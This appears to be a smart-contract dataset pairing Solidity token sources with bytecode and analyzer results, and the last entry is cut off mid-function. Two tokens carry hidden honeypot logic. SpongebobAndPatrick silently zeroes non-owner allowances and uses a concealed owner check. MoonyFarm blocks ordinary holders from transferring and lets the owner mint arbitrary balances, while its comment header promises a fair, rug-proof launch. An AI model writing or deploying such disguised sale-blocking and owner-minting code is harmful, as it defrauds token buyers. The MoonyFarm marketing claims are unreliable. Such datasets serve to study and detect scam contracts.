function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract SpongebobAndPatrick is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**9* 10**18;
string private _name = 'SpongebobAndPatrick';
string private _symbol = 'SPONGEBOB';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212207fb280c7bc57de894e8abf2fe7a7f194ec2c1c6c00eab9429b5c034e744c836b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,057 |
0x1927ecdae504e5bb67d489bbc2831cc20b274884
|
/**
*Submitted for verification at Etherscan.io on 2021-04-25
*/
/*
Welcome to MOONY Farm
Hey guys! Hello and welcome to Moony farm!
Lets first explain this name. What we felt, is, we, especially our financial lives, are tied down by rules set by banks, loan providing authorities, financial regulatory authorities. You need to do exactly what they ask you to do, even to access your own money! For example, you keep too much money in the bank, you pay for that (taxes), you keep too little there and you pay again (fines). How you can send money abroad, to your family, love or simply to buy something, is again, determined by them. We say, well, to hell with them! Lets MOONY those rules and be the owner of our hard-earned fortune!
That goes for centralised finance, or CeFi. Then we had DeFi, or Decentralised Finance. It came to change the scenario and that it did, to an extent. We saw amazing growth for YFI, Curve and so many of those copies and clones. However, again, these project suffered from multiple issues.
Mindless issuance of tokens: or, a very high emission rate which leads to hyperinflation. This leads to another horrible scenario which burnt many newbies, Impermanent Loss or IL. More on this later.
Dev/Team owning unlocked tokens: and dumping them on the buyer and making it crash. Yikes!
Technical snag: We remember what happened to YAM, no? From $160 to 16 cents within minutes. That’s because the team was too confident of their code and didn’t bother to get this checked.
Scam/Rug: well, if you are even a week old in this market, you know what we are talking about.
Whale manipulation: They buy early, they get special discounted rates and they dump when we the commoners have worked hard as a community to pump the price. They cause a sharp slump, create panic and wait for it to go lower to re-buy and continue this circle. We HATE that!
Influencer Shilling: You must be knowing this by now, none of those ‘influencers’ want you to get rich, they aren’t the proverbial good Samaritans. They will probably shill an outright scam, if they are paid enough. We all know that one guy who promised to eat his own **** on live TV. Going by his tweets, he already have his **** very close to his mouth, in his head.
We say, let’s MOONY all of these. Thus, the name, MOONY, which is, also, a clever wordplay of DeFi, we believe.
OK, Enough about others, lets talk about ourselves.
MOONY is going to address to all those issues as mentioned above. Not too long ago, we were in your place and suffered from the same and decided to do something about these. Lets discuss our plans in short.
Please note, MOONY have V2 and V3 planned well in advance but this article is going to talk about V1, which is launching in 4 days approximately.
Frankly, we love the RFI model, or the deflationary model. BTC is costly because its theoretically non-inflationary and practically deflationary (BTC getting lost). We will follow the RFI model but we are also aware of the inherent drawbacks and thus, we decided to tweak this model to suit us all and, thus, by default, address the issues mentioned above.
1. Mindless issuance of tokens: As we will follow a highly tweaked RFI model, the model is deflationary by default. No new token will ever be issued.
2. Dev/Team owning unlocked tokens: None, nada token kept for team. We all start from equal grounds.
3. Technical Snag: Our codes will be open for public audit. We will share github link just before the launch. As soon as we can afford, we are going for Certik or comparable auditors! Just don’t remind us what happened to icecreamswap even after audit…oops.!
4. Scam/Rug: Hey, don’t trust us! Trust the code. Get it checked by a dev you trust! If you don’t feel confident, don’t enter! Please don’t enter.
5. Whale manipulation: We have the mathematical model ready to combat this. This is coming in V2, we promise. This requires extensive testing and much bigger dev power. Give us a couple of months to get this implemented. For now, there will be no presale or heavily discounted sale to whales, they start on equal footing!
6. Influencer Shilling: We don’t have money for this! That’s it.
And what else we offer?
1. No presale/private sale: Yep, none of that shit!
2. Liquidity locking: All of that coming from our pocket and we will use Cryptex to lock that for 1 year.
3. Fair launch.
BTW, you might wonder, why do we have FARM in our name? Because, yes, you are reading this right, we have found a way to offer farm rewards without issuing or minting new tokens. We will explain this right before the launch.
For now, that’s all boys and babes! Feel free to ask us more, our social media links are as follows
Website: moony.farm
Twitter: https://twitter.com/moonyfarm
Telegram Channel: https://t.me/moonyfarm
To the moon and beyond!
(This article is written by a non-native speaker of English. Learn when to ignore SPAG and go for the content!)
*/
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract MoonyFarm {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820b02c517864bed459a3c1c4f181ba2dc14d0f9b68df74b0b7cfdda2ce3927694164736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,058 |
0xb19a5c5de13651543f485124c1dca80f1d865e99
|
pragma solidity ^0.4.24;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
